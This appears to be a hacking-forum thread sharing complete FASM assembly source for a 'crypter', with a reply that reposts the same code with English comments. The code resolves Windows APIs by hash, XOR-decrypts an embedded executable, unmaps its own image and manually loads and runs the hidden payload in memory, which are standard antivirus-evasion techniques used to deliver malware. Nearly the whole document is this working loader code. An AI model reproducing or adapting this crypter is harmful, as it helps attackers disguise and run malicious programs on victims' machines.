Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Assembly 

FASM Crypter without CreateProcess

Old but it still works. The comments are in french, sorry for that.

Code
;-------------------------------------------------
; Projet: FASM Cryter
; Auteur: Xash
;-------------------------------------------------

format PE GUI 4.0
entry start
include 'include\win32w.inc'
include 'structs.inc'

;-------------------------------------------------
; code
  section '.code' code readable writable executable
;-------------------------------------------------

;-------------------------------------------------
; Start - Point d'entré du programme
;-------------------------------------------------
start:
    call delta

delta:
    pop ebp                             ; Adresse absolu de delta
    sub ebp, delta                      ; Désormais relative
    
    mov [ebp+dwBoot], esi                ; Pour savoir dans quel page on est (voir NtCreateSection)
    
    lea eax, [ebp+GetKernel32]
    call eax
    cmp word [eax], 5A4Dh
    jne exit                            ; Si la signature est corrompu, on quitte
    mov dword [ebp+dwKernel32], eax     ; On sauvegarde son adresse
    mov esi, eax                        ; Yop, stocké dans ESI ça sera plus pratique !
    
    mov ebx, [esi+3Ch]                  ; DosHeader.e_lfanew
    add esi, ebx                        ; On passe au PE Header
    cmp dword [esi], 4550h
    jne exit                            ; Si la signature est corrompu, on quitte
    
    mov ebx, [esi+78h]                  ; PeHeader.EAT.VirtualAdress
    mov esi, dword [ebp+dwKernel32]     ; Le RVA se calcule à partir du DOS Header
    add esi, ebx                        ; On a trouvé l'EAT \o/
    
    mov ecx, [esi+18h]                  ; EAT.NumberOfNames
    mov dword [ebp+dwNumberOfNames], ecx
    mov ecx, [esi+1Ch]                  ; EAT.AddressOfFunctions
    mov dword [ebp+dwFunctions], ecx
    mov ecx, [esi+24h]                  ; EAT.AddressOfNameOrdinals
    mov dword [ebp+dwNameOrdinals], ecx
    mov esi, [esi+20h]                  ; EAT.AddressOfNames
    add esi, dword [ebp+dwKernel32]     ; ESI contient maintenant la table des noms
    
    xor ecx, ecx
    NameLoop:
        mov edx, [esi]                  ; EDX contient le RVA du nom
        add edx, dword [ebp+dwKernel32] ; VA
        
        ;-------------------
        push ecx
        push esi                        ; On sauvegarde nos valeurs
        
        push edx                        ; On pousse le nom sur la pile
        lea eax, [ebp+DjbHash]
        call eax                        ; On appel DjbHash - EAX va contenir le hash
        
        pop esi
        pop ecx                            ; On récupére nos valeurs
        ;-------------------
        
        cmp eax, [ebp+dwHashGetProcAddress]
        je LoadApi
        
        add esi, 4                      ; On passe au nom suivant
        inc ecx
        cmp ecx, dword [ebp+dwNumberOfNames] ; On a vue toutes les fonctions ?
    jne NameLoop
    
    LoadApi:
    
    mov esi, dword [ebp+dwNameOrdinals]    ; EAT.AddressOfNameOrdinals
    add esi, dword [ebp+dwKernel32]        ; On passe à une VA
    xor eax, eax
    mov ax, word [esi+ecx*2]            ; On choppe son ordinal
    mov esi, dword [ebp+dwFunctions]    ; EAT.AddressOfFunctions
    add esi, dword [ebp+dwKernel32]        ; On passe à une VA
    mov esi, dword [esi+eax*4]            ; Yop, on a le RVA de la fonction
    add esi, dword [ebp+dwKernel32]        ; On passe à une VA -> WIN \o/
    mov [ebp+dwGetProcAddress], esi
    
    ;--------------------------------
    
    lea eax, [ebp+GetNtdll]
    call eax
    mov [ebp+dwNtdll], eax                ; On a l'adresse de NTDLL
    
    ;{
    lea eax, [ebp+szNtCreateSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtCreateSection], eax    ; NtCreateSection
    ;}{
    ;}{
    lea eax, [ebp+szNtMapViewOfSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtMapViewOfSection], eax    ; NtMapViewOfSection
    ;}{
    lea eax, [ebp+szNtUnmapViewOfSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtUnmapViewOfSection], eax    ; NtUnmapViewOfSection
    ;}{
    lea eax, [ebp+szGetCurrentProcess]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetCurrentProcess], eax    ; GetCurrentProcess
    ;}{
    lea eax, [ebp+szVirtualAlloc]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwVirtualAlloc], eax    ; VirtualAlloc
    ;}{
    lea eax, [ebp+szGetModuleHandleW]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetModuleHandleW], eax    ; GetModuleHandleW
    ;}{
    lea eax, [ebp+szLoadLibraryA]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwLoadLibraryA], eax    ; LoadLibraryA
    ;}{
    lea eax, [ebp+szGetLastError]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetLastError], eax    ; GetLastError
    ;}
    
    ;--------------------------------
    
    ; Si on a déjà mappé et déchiffré notre fichier, on passe tout ça
    cmp [ebp+dwBoot], 0xB007
    je mapped
    
    ; On va récupérer notre fichier :)
    push 0
    call [ebp+dwGetModuleHandleW]
    mov [ebp+dwModule], eax
    
    mov esi, eax                                                        ; EAX contient dwModule
    mov esi, [esi_DosHeader.e_lfanew]
    add esi, [ebp+dwModule]                                                ; On arrive aux NT HEADERS
    lea eax, [sizeof.IMAGE_NT_HEADERS + 1*sizeof.IMAGE_SECTION_HEADER]    ; 2nd section
    add esi, eax                                                        ; On arrive dans la table des sections
    
    mov eax, [esi_SectionHeader.dwVirtualAddress]
    add eax, [ebp+dwModule]
    mov [ebp+dwFile], eax            ; On a la VA du fichier de notre section
    mov eax, [esi_SectionHeader.dwSizeOfRawData]
    mov [ebp+dwFileSize], eax        ; La taille du fichier chiffré    
    
    ;----- Section n°4 ------
    ;----| Clé | Fichier |---
    ;------------------------
    mov eax, [ebp+dwFile]
    mov eax, dword [eax]             ; On récupére la clé
    mov dword [ebp+dwKey], eax
    add dword [ebp+dwFile], 4        ; Le fichier commence après la clé
    
    ; On déchiffre le fichier (XOR DWORD)
    mov eax, [ebp+dwKey]
    mov edx, [ebp+dwFile]
    mov edi, edx
    add edi, [esi_SectionHeader.dwSizeOfRawData] ; EDI contient l'adresse de fin du fichier
    decrypt:
        xor dword [edx], eax
        add edx, 4                ; On avance dans les données
        cmp edx, edi            ; Fin du fichier ?
    jne decrypt

    ;---------------------------------------------------------------
    ; Le fichier est déchiffré, on attaque le chargement en mémoire
    
    ; On map une nouvelle section en mémoire
    mov [ebp+maxSize.dwHighPart], 0
    lea eax, [EOF - start]                ; La taille de notre code
    add eax, [ebp+dwFileSize]            ; La taille du fichier
    mov [ebp+maxSize.dwLowPart], eax     ; La taille maximum de la page
    lea ebx, [ebp+maxSize]
    lea eax, [ebp+hSection]
    
    push 0
    push SEC_COMMIT
    push PAGE_EXECUTE_READWRITE
    push ebx                            ; maxSize
    push 0
    push SECTION_ALL_ACCESS
    push eax                            ; hSection
    call [ebp+dwNtCreateSection]        ; On récupére notre section
    
    lea edx, [ebp+dwSectionBaseAddr]
    mov [ebp+dwViewSize], 0                ; On va visualiser toute la section
    lea ebx, [ebp+dwViewSize]
    call [ebp+dwGetCurrentProcess]        
    
    push PAGE_EXECUTE_READWRITE
    push 0
    push 1                                ; ViewShare
    push ebx                            ; dwViewSize
    push 0
    push 0
    push 0
    push edx                            ; dwSectionBaseAddr
    push eax                            ; GetCurrentProcess()
    push [ebp+hSection]
    call [ebp+dwNtMapViewOfSection]        ; Maintenant on la map
    
    ; On va copier notre loader dans la nouvelle section
    lea eax, [EOF - start]                ; La taille de notre code
    mov edi, [ebp+dwSectionBaseAddr]
    add edi, eax                        ; Le fichier va commencer après notre loader
    mov esi, [ebp+dwFile]                ; On le sauvegarde car on en aura besoin après
    mov [ebp+dwFile], edi                ; Le nouveau pointeur sur le fichier
    
    lea ebx, [ebp+start]                ; L'adresse du début du shellcode
    push eax                            ; Size
    push ebx                            ; Source - start
    push [ebp+dwSectionBaseAddr]        ; Destination
    lea eax, [ebp+MemCpy]
    call eax                            ; memcpy() - Notre shellcode

    ; On copie notre fichier dans la nouvelle section
    push [ebp+dwFileSize]                ; Size
    push esi                            ; Source - ancien dwFile
    push edi                            ; Destination    
    lea eax, [ebp+MemCpy]
    call eax                            ; memcpy() - Le fichier à charger
    
    mov [ebp+dwFile], edi                ; On met à jour le pointeur vers le fichier
    
    ; On modifie notre ImageBase dans le PEB
    mov eax, [fs:30h]               ; PEB
    mov edx, [ebp+dwSectionBaseAddr]
    mov [eax+8], edx                ; ImageBase (voir struct du PEB)
    
    ; On "boot" désormais
    mov eax, [ebp+dwSectionBaseAddr]
    mov esi, 0xB007                        ; BOOT! :D
    jmp eax
    
    ;--------------------------------
    mapped:    
    
    ; On démappe notre section de base
    call [ebp+dwGetCurrentProcess]    
    mov [ebp+hProcess], eax
    
    push 0x400000                        ; BaseAddress
    push [ebp+hProcess]                    ; ProcessHandle
    call [ebp+dwNtUnmapViewOfSection]     ; On supprime notre process de base
    
    ; On récupére quelques infos
    mov esi, [ebp+dwFile]                ; ESI contient donc le DOS Header
    add esi, [esi_DosHeader.e_lfanew]            ; Maintenant les NT Headers
    mov eax, [esi_NtHeaders.dwAddressOfEntryPoint]
    mov [ebp+dwEntryPoint], eax
    
    ; On commence par allouer la place demandée    
    push PAGE_EXECUTE_READWRITE
    push MEM_COMMIT or MEM_RESERVE
    push [esi_NtHeaders.dwSizeOfImage]
    push [esi_NtHeaders.dwImageBase]
    call [ebp+dwVirtualAlloc]
    mov [ebp+dwFileImageBase], eax
    call [ebp+dwGetLastError]
    
    ; On place les headers
    push [esi_NtHeaders.dwSizeOfHeaders]    ; Size
    push [ebp+dwFile]                ; Source
    push [ebp+dwFileImageBase]        ; Destination
    lea eax, [ebp+MemCpy]
    call eax
    
    xor ecx, ecx
    mov cx, [esi_NtHeaders.wNumberOfSections]
    add esi, sizeof.IMAGE_NT_HEADERS                    ; ESI contient la table des sections
    loopSections:
        mov eax, [esi_SectionHeader.dwPointerToRawData] ; La RVA de la section
        add eax, [ebp+dwFile]                            ; VA
        mov edi, [esi_SectionHeader.dwVirtualAddress]     ; Où on doit le copier (RVA)
        add edi, [ebp+dwFileImageBase]                    ; VA
    
        push [esi_SectionHeader.dwSizeOfRawData]    ; Size
        push eax                                    ; Source
        push edi                                    ; Destination
        lea eax, [ebp+MemCpy]    
        call eax                                    ; memcpy() - On copie le contenu de la section
        
        add esi, sizeof.IMAGE_SECTION_HEADER     ; Section suivante
        dec ecx
        test ecx, ecx
    jne loopSections
    
    ; On modifie notre ImageBase dans le PEB
    mov eax, [fs:30h]               ; PEB
    mov edx, [ebp+dwFileImageBase]
    mov [eax+8], edx                ; ImageBase (voir struct du PEB)
    
    ; On charge l'IAT
    mov esi, [ebp+dwFileImageBase]
    add esi, [esi_DosHeader.e_lfanew]    ; NT Headers
    mov esi, [esi_NtHeaders.dwImportTableAddress] ; RVA de l'Import Table
    add esi, [ebp+dwFileImageBase]        ; VA de l'IAT
    nextDll:
        mov eax, [esi_ImportDesc.dwName1]
        add eax, [ebp+dwFileImageBase]    ; On a récupéré le nom de la DLL
        push eax
        call [ebp+dwLoadLibraryA]        ; On charge la DLL et/ou on récupére son adresse
        mov [ebp+dwCurrentDLL], eax                    ; On sauvegarde l'adresse de la DLL
    
        mov eax, [esi_ImportDesc.dwOriginalFirstThunk]
        test eax, eax                                     ; Si OriginalFirstThunk est vide
        jne noBorland
        mov eax, [esi_ImportDesc.dwFirstThunk]            ; On utilise FirstThunk (Borland alakon)
        noBorland:
        add eax, [ebp+dwFileImageBase]
        mov [ebp+dwOriginalFirstThunk], eax        ; On récupére le VA du OriginalFirstThunk    
        mov eax, [esi_ImportDesc.dwFirstThunk]
        add eax, [ebp+dwFileImageBase]
        mov [ebp+dwFirstThunk], eax                ; On récupére le VA du FirstThunk
        
        nextAPI:
            mov eax, [ebp+dwOriginalFirstThunk]            ; EAX contient un IMAGE_THUNK_DATA32 (VA)
            mov eax, [eax_ThunkData.dwAddressOfData]     ; EAX contient un IMAGE_IMPORT_BY_NAME (RVA)
            
            test eax, IMAGE_ORDINAL_FLAG32                ; Exporté par ordinal ?
            je importByName
            
            importByOrdinal:
            and eax, 0x0FFFF ; On garde que le LSB
            jmp searchAPI
            
            importByName:
            add eax, [ebp+dwFileImageBase]    ; VA
            
            searchAPI:
            lea edi, [eax_ImportByName.dwName1]
            push edi                    ; Le nom de l'API
            push [ebp+dwCurrentDLL]        ; La DLL
            call [ebp+dwGetProcAddress]    ; On récupére son adresse
        
            mov ebx, [ebp+dwFirstThunk]
            mov [ebx], eax                ; On met à jour le FirstThunk avec l'adresse de la fonction
        
            add [ebp+dwOriginalFirstThunk], sizeof.IMAGE_THUNK_DATA32     ; Prochain dwOriginalFirstThunk
            add [ebp+dwFirstThunk], sizeof.IMAGE_THUNK_DATA32             ; Prochain FirstThunk
            mov eax, [ebp+dwOriginalFirstThunk]                         ; On récupére la VA de l'OFT
            mov eax, [eax_ThunkData.dwAddressOfData]                    ; Son contenu
        test eax, eax                                                        ; Si il est nul, on est à la dernière API
        jne nextAPI    
        
        add esi, sizeof.IMAGE_IMPORT_DESCRIPTOR ; DLL suivante
    cmp [esi_ImportDesc.dwFirstThunk], 0
    jne nextDll
    
    ; On saute sur notre point d'entrée
    mov eax, [ebp+dwFileImageBase]
    add eax, [ebp+dwEntryPoint]
    jmp eax
    
exit:
    ret

;-------------------------------------------------
;-------------------------------------------------
    
startInfo STARTUPINFO
procInfo PROCESS_INFORMATION
ctx CONTEXT
    
dwNtdll dd 0
dwKernel32 dd 0
dwNumberOfNames dd 0
dwFunctions dd 0
dwNameOrdinals dd 0
dwHashGetProcAddress dd 0xCF31BB1F
dwGetProcAddress dd 0

szNtCreateSection db 'NtCreateSection', 0
szNtMapViewOfSection db 'NtMapViewOfSection', 0  
szNtUnmapViewOfSection db 'NtUnmapViewOfSection', 0  
szGetCurrentProcess db 'GetCurrentProcess', 0
szVirtualAlloc db 'VirtualAlloc', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szLoadLibraryA db 'LoadLibraryA', 0
szGetLastError db 'GetLastError', 0  
;--
dwNtCreateSection dd 0
dwNtMapViewOfSection dd 0
dwNtUnmapViewOfSection dd 0
dwGetCurrentProcess dd 0
dwVirtualAlloc dd 0
dwGetModuleHandleW dd 0
dwLoadLibraryA dd 0
dwGetLastError dd 0

dwFile dd 0
dwFileSize dd 0
dwKey dd 0
dwFileImageBase dd 0

hSection dd 0
align 8
maxSize LARGE_INTEGER 0
dwSectionBaseAddr dd 0
dwViewSize dd 0
dwBoot dd 0                ; Permet de vérifier si on a déjà tout mappé
hProcess dd 0
dwEntryPoint dd 0
dwModule dd 0

dwOriginalFirstThunk dd 0
dwFirstThunk dd 0
dwCurrentDLL dd 0

;-------------------------------------------------
; GetNtdll - Récupére l'adresse de ntdll.dll
; via le PEB du processure (2nd entrée)
;-------------------------------------------------
proc GetNtdll
    mov eax, [fs:30h]       ; PEB
    mov eax, [eax + 0Ch]    ; PEB->Ldr
    mov eax, [eax + 14h]    ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
    mov eax, [eax]            ; 2nd entrée (ntdll.dll)
    mov eax, [eax + 10h]    ; Adresse de base de la 2nd entrée
                
    ret
endp

;-------------------------------------------------
; GetKernel32 - Récupére l'adresse de kernel32.dll
; via le PEB du processure (3éme entrée)
;-------------------------------------------------
proc GetKernel32
    mov eax, [fs:30h]       ; PEB
    mov eax, [eax + 0Ch]    ; PEB->Ldr
    mov eax, [eax + 14h]    ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
    mov eax, [eax]            ; 2nd entrée (ntdll.dll)
    mov eax, [eax]            ; 3éme entrée (kernel32.dll)
    mov eax, [eax + 10h]    ; Adresse de base de la 3éme entrée
                
    ret
endp

;-------------------------------------------------
; DjbHash - Permet d'hasher via DJB
; p°1: Contient un pointeur vers le string
;-------------------------------------------------
proc DjbHash
    mov esi, [esp+4]
    mov eax, 5381d          ; 2^32
    
    hLoop:
        mov ebx, eax        ; On le sauvegarde
        shl eax, 5            ; eax << 5
        add eax, ebx        ; eax + ancien eax
        

        movzx ecx, byte[esi]    ; Obligé pour gérer la retenue
        add eax, ecx            ; On ajoute le caractére
        
        inc esi                ; str++
        cmp byte [esi], 0      ; Fin de la chaîne
        jne hLoop
        
    retn 4
endp

;-------------------------------------------------
; MemCpy - Equivalent du memcpy du C
;-------------------------------------------------
proc MemCpy, lpDest, lpSource, Count
    push esi edi ecx
    mov esi, [lpSource]
    mov edi, [lpDest]
    mov ecx, [Count]
    
    test ecx, ecx    ; Si la taille est nulle
    je endCopy     ; On quitte
    
    copyLoop:
        mov al, byte [esi]
        mov byte [edi], al
        inc edi
        inc esi
        dec ecx
        test ecx, ecx
    jne copyLoop

    endCopy:
    pop ecx edi esi
    ret
endp

EOF:
All translated to english.

EDIT: Where can I find 'structs.inc' ?

Code
;-------------------------------------------------
; Projet: FASM Cryter
; Auteur: Xash
;-------------------------------------------------

format PE GUI 4.0
entry start
include 'include\win32w.inc'
include 'structs.inc'

;-------------------------------------------------
; code
  section '.code' code readable writable executable
;-------------------------------------------------

;-------------------------------------------------
; Start - entry point
;-------------------------------------------------
start:
    call delta

delta:
    pop ebp                             ; delta's absolute address
    sub ebp, delta                      ; now relative
    
    mov [ebp+dwBoot], esi                ; To know which page we are (see NtCreateSection)
    
    lea eax, [ebp+GetKernel32]
    call eax
    cmp word [eax], 5A4Dh
    jne exit                            ; If the signature is corrupted, quit
    mov dword [ebp+dwKernel32], eax     ; We save its address
    mov esi, eax                        ; Save it in ESI as well, more practical
    
    mov ebx, [esi+3Ch]                  ; DosHeader.e_lfanew
    add esi, ebx                        ; We switch to PE header
    cmp dword [esi], 4550h
    jne exit                            ; If the signature is corrupted, quit
    
    mov ebx, [esi+78h]                  ; PeHeader.EAT.VirtualAdress
    mov esi, dword [ebp+dwKernel32]     ; The rva is calculated from the DOS Header
    add esi, ebx                        ; We found the EAT \o/
    
    mov ecx, [esi+18h]                  ; EAT.NumberOfNames
    mov dword [ebp+dwNumberOfNames], ecx
    mov ecx, [esi+1Ch]                  ; EAT.AddressOfFunctions
    mov dword [ebp+dwFunctions], ecx
    mov ecx, [esi+24h]                  ; EAT.AddressOfNameOrdinals
    mov dword [ebp+dwNameOrdinals], ecx
    mov esi, [esi+20h]                  ; EAT.AddressOfNames
    add esi, dword [ebp+dwKernel32]     ; ESI now contains the name table
    
    xor ecx, ecx
    NameLoop:
        mov edx, [esi]                  ; EDX contains the rva of the name
        add edx, dword [ebp+dwKernel32] ; VA
        
        ;-------------------
        push ecx
        push esi                        ; We save our values
        
        push edx                        ; We push he name on stack
        lea eax, [ebp+DjbHash]
        call eax                        ; we call DjbHash - EAX will contain the hash
        
        pop esi
        pop ecx                            ; We get our values back
        ;-------------------
        
        cmp eax, [ebp+dwHashGetProcAddress]
        je LoadApi
        
        add esi, 4                      ; We push the next name
        inc ecx
        cmp ecx, dword [ebp+dwNumberOfNames] ; We saw all the functions ?
    jne NameLoop
    
    LoadApi:
    
    mov esi, dword [ebp+dwNameOrdinals]    ; EAT.AddressOfNameOrdinals
    add esi, dword [ebp+dwKernel32]        ; We go to a VA
    xor eax, eax
    mov ax, word [esi+ecx*2]            ; We get its ordinal
    mov esi, dword [ebp+dwFunctions]    ; EAT.AddressOfFunctions
    add esi, dword [ebp+dwKernel32]        ; We go to a VA
    mov esi, dword [esi+eax*4]            ; Yep, we got the function's RVA
    add esi, dword [ebp+dwKernel32]        ; We go to a VA-> WIN \o/
    mov [ebp+dwGetProcAddress], esi
    
    ;--------------------------------
    
    lea eax, [ebp+GetNtdll]
    call eax
    mov [ebp+dwNtdll], eax                ; We get NTDLL's address
    
    ;{
    lea eax, [ebp+szNtCreateSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtCreateSection], eax    ; NtCreateSection
    ;}{
    ;}{
    lea eax, [ebp+szNtMapViewOfSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtMapViewOfSection], eax    ; NtMapViewOfSection
    ;}{
    lea eax, [ebp+szNtUnmapViewOfSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtUnmapViewOfSection], eax    ; NtUnmapViewOfSection
    ;}{
    lea eax, [ebp+szGetCurrentProcess]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetCurrentProcess], eax    ; GetCurrentProcess
    ;}{
    lea eax, [ebp+szVirtualAlloc]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwVirtualAlloc], eax    ; VirtualAlloc
    ;}{
    lea eax, [ebp+szGetModuleHandleW]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetModuleHandleW], eax    ; GetModuleHandleW
    ;}{
    lea eax, [ebp+szLoadLibraryA]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwLoadLibraryA], eax    ; LoadLibraryA
    ;}{
    lea eax, [ebp+szGetLastError]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetLastError], eax    ; GetLastError
    ;}
    
    ;--------------------------------
    
        ;If we already mapped and decrypted our file, we skip all that
    cmp [ebp+dwBoot], 0xB007
    je mapped
    
    ; We get our file
    push 0
    call [ebp+dwGetModuleHandleW]
    mov [ebp+dwModule], eax
    
    mov esi, eax                                                        ; EAX contains dwModule
    mov esi, [esi_DosHeader.e_lfanew]
    add esi, [ebp+dwModule]                                                ; We reach NT HEADERS
    lea eax, [sizeof.IMAGE_NT_HEADERS + 1*sizeof.IMAGE_SECTION_HEADER]    ; 2nd section
    add esi, eax                                                        ; We reach sections table
    
    mov eax, [esi_SectionHeader.dwVirtualAddress]
    add eax, [ebp+dwModule]
    mov [ebp+dwFile], eax            ; We got the VA of our section's file
    mov eax, [esi_SectionHeader.dwSizeOfRawData]
    mov [ebp+dwFileSize], eax        ; The file size is crypted
    
    ;----- Section n°4 ------
    ;----| Clé | Fichier |---
    ;------------------------
    mov eax, [ebp+dwFile]
    mov eax, dword [eax]             ; We get the key
    mov dword [ebp+dwKey], eax
    add dword [ebp+dwFile], 4        ; The file starts after the key
    
    ; We decrypt the file (XOR DWORD)
    mov eax, [ebp+dwKey]
    mov edx, [ebp+dwFile]
    mov edi, edx
    add edi, [esi_SectionHeader.dwSizeOfRawData] ; EDI the address of EOF
    decrypt:
        xor dword [edx], eax
        add edx, 4                ; Move data foward
        cmp edx, edi            ; EOF ?
    jne decrypt

    ;---------------------------------------------------------------
    ; The file is decrypted, we shove it in memory
    
    ; We map a new memory section
    mov [ebp+maxSize.dwHighPart], 0
    lea eax, [EOF - start]                ; Our code's size
    add eax, [ebp+dwFileSize]            ; Our file size
    mov [ebp+maxSize.dwLowPart], eax     ; The page's max size
    lea ebx, [ebp+maxSize]
    lea eax, [ebp+hSection]
    
    push 0
    push SEC_COMMIT
    push PAGE_EXECUTE_READWRITE
    push ebx                            ; maxSize
    push 0
    push SECTION_ALL_ACCESS
    push eax                            ; hSection
    call [ebp+dwNtCreateSection]        ; We get our section
    
    lea edx, [ebp+dwSectionBaseAddr]
    mov [ebp+dwViewSize], 0                ; We will visualize all the section
    lea ebx, [ebp+dwViewSize]
    call [ebp+dwGetCurrentProcess]        
    
    push PAGE_EXECUTE_READWRITE
    push 0
    push 1                                ; ViewShare
    push ebx                            ; dwViewSize
    push 0
    push 0
    push 0
    push edx                            ; dwSectionBaseAddr
    push eax                            ; GetCurrentProcess()
    push [ebp+hSection]
    call [ebp+dwNtMapViewOfSection]        ; Now we map it
    
    ; On va copier notre loader dans la nouvelle section
    lea eax, [EOF - start]                ; Our code's size
    mov edi, [ebp+dwSectionBaseAddr]
    add edi, eax                        ;The file will start after the loader
    mov esi, [ebp+dwFile]                ; We'll need that later
    mov [ebp+dwFile], edi                ;The new file's pointer
    
    lea ebx, [ebp+start]                ; The shellcode start address
    push eax                            ; Size
    push ebx                            ; Source - start
    push [ebp+dwSectionBaseAddr]        ; Destination
    lea eax, [ebp+MemCpy]
    call eax                            ; memcpy() - Our shellcode

    ; We copy our file in the new section
    push [ebp+dwFileSize]                ; Size
    push esi                            ; Source - old dwFile
    push edi                            ; Destination    
    lea eax, [ebp+MemCpy]
    call eax                            ; memcpy() - The file to load
    
    mov [ebp+dwFile], edi                ; We update the pointer to the file
    
    ; On modifie notre ImageBase dans le PEB
    mov eax, [fs:30h]               ; PEB
    mov edx, [ebp+dwSectionBaseAddr]
    mov [eax+8], edx                ; ImageBase (see PEB struct)
    
    ; On "boot" désormais
    mov eax, [ebp+dwSectionBaseAddr]
    mov esi, 0xB007                        ; BOOT! :D
    jmp eax
    
    ;--------------------------------
    mapped:    
    
    ;We unmap our parent section
    call [ebp+dwGetCurrentProcess]    
    mov [ebp+hProcess], eax
    
    push 0x400000                        ; BaseAddress
    push [ebp+hProcess]                    ; ProcessHandle
    call [ebp+dwNtUnmapViewOfSection]     ; We delete parent's process
    
    ; We get some info
    mov esi, [ebp+dwFile]                ; ESI contains DOS header
    add esi, [esi_DosHeader.e_lfanew]            ; Now the NT Headers
    mov eax, [esi_NtHeaders.dwAddressOfEntryPoint]
    mov [ebp+dwEntryPoint], eax
    
    ; We start by allocating the space asked    
    push PAGE_EXECUTE_READWRITE
    push MEM_COMMIT or MEM_RESERVE
    push [esi_NtHeaders.dwSizeOfImage]
    push [esi_NtHeaders.dwImageBase]
    call [ebp+dwVirtualAlloc]
    mov [ebp+dwFileImageBase], eax
    call [ebp+dwGetLastError]
    
    ; We place the headers
    push [esi_NtHeaders.dwSizeOfHeaders]    ; Size
    push [ebp+dwFile]                ; Source
    push [ebp+dwFileImageBase]        ; Destination
    lea eax, [ebp+MemCpy]
    call eax
    
    xor ecx, ecx
    mov cx, [esi_NtHeaders.wNumberOfSections]
    add esi, sizeof.IMAGE_NT_HEADERS                    ; ESI contains the section tables
    loopSections:
        mov eax, [esi_SectionHeader.dwPointerToRawData] ; the section's RVA
        add eax, [ebp+dwFile]                            ; VA
        mov edi, [esi_SectionHeader.dwVirtualAddress]     ; We we want to copy it (RVA)
        add edi, [ebp+dwFileImageBase]                    ; VA
    
        push [esi_SectionHeader.dwSizeOfRawData]    ; Size
        push eax                                    ; Source
        push edi                                    ; Destination
        lea eax, [ebp+MemCpy]    
        call eax                                    ; memcpy() - We copy the contents to the section
        
        add esi, sizeof.IMAGE_SECTION_HEADER     ; Next section
        dec ecx
        test ecx, ecx
    jne loopSections
    
    ; We modify our ImageBase (parent image?) in the PEB
    mov eax, [fs:30h]               ; PEB
    mov edx, [ebp+dwFileImageBase]
    mov [eax+8], edx                ; ImageBase (see PEB struct)
    
    ; On charge l'IAT
    mov esi, [ebp+dwFileImageBase]
    add esi, [esi_DosHeader.e_lfanew]    ; NT Headers
    mov esi, [esi_NtHeaders.dwImportTableAddress] ; Import Table's RVA
    add esi, [ebp+dwFileImageBase]        ; IAT's VA
    nextDll:
        mov eax, [esi_ImportDesc.dwName1]
        add eax, [ebp+dwFileImageBase]    ; We get the DLL's name
        push eax
        call [ebp+dwLoadLibraryA]        ; We get the DLL's address (load it)
        mov [ebp+dwCurrentDLL], eax                    ; We save its address
    
        mov eax, [esi_ImportDesc.dwOriginalFirstThunk]
        test eax, eax                                     ; If OriginalFirstThunk is empty
        jne noBorland
        mov eax, [esi_ImportDesc.dwFirstThunk]            ; We use FirstThunk (Borland alakon)
        noBorland:
        add eax, [ebp+dwFileImageBase]
        mov [ebp+dwOriginalFirstThunk], eax        ; We get the OriginalFirstThunk's VA    
        mov eax, [esi_ImportDesc.dwFirstThunk]
        add eax, [ebp+dwFileImageBase]
        mov [ebp+dwFirstThunk], eax                ; We get the FirstThunk's VA
        
        nextAPI:
            mov eax, [ebp+dwOriginalFirstThunk]            ; EAX contains a IMAGE_THUNK_DATA32 (VA)
            mov eax, [eax_ThunkData.dwAddressOfData]     ; EAX contains a IMAGE_IMPORT_BY_NAME (RVA)
            
            test eax, IMAGE_ORDINAL_FLAG32                ; Exported by ordinal ?
            je importByName
            
            importByOrdinal:
            and eax, 0x0FFFF ; We only keep the LSB
            jmp searchAPI
            
            importByName:
            add eax, [ebp+dwFileImageBase]    ; VA
            
            searchAPI:
            lea edi, [eax_ImportByName.dwName1]
            push edi                    ; API's name
            push [ebp+dwCurrentDLL]        ; The DLL
            call [ebp+dwGetProcAddress]    ; We get its address
        
            mov ebx, [ebp+dwFirstThunk]
            mov [ebx], eax                ;We update the FirstThunk with the function's addres
        
            add [ebp+dwOriginalFirstThunk], sizeof.IMAGE_THUNK_DATA32     ; Prochain dwOriginalFirstThunk
            add [ebp+dwFirstThunk], sizeof.IMAGE_THUNK_DATA32             ; Prochain FirstThunk
            mov eax, [ebp+dwOriginalFirstThunk]                         ; We get the OFT's VA
            mov eax, [eax_ThunkData.dwAddressOfData]                    ; its contents
        test eax, eax                                                        ; If he's null, it's the last API
        jne nextAPI    
        
        add esi, sizeof.IMAGE_IMPORT_DESCRIPTOR ; next DLL
    cmp [esi_ImportDesc.dwFirstThunk], 0
    jne nextDll
    
    ; We jump on our entry point
    mov eax, [ebp+dwFileImageBase]
    add eax, [ebp+dwEntryPoint]
    jmp eax
    
exit:
    ret

;-------------------------------------------------
;-------------------------------------------------
    
startInfo STARTUPINFO
procInfo PROCESS_INFORMATION
ctx CONTEXT
    
dwNtdll dd 0
dwKernel32 dd 0
dwNumberOfNames dd 0
dwFunctions dd 0
dwNameOrdinals dd 0
dwHashGetProcAddress dd 0xCF31BB1F
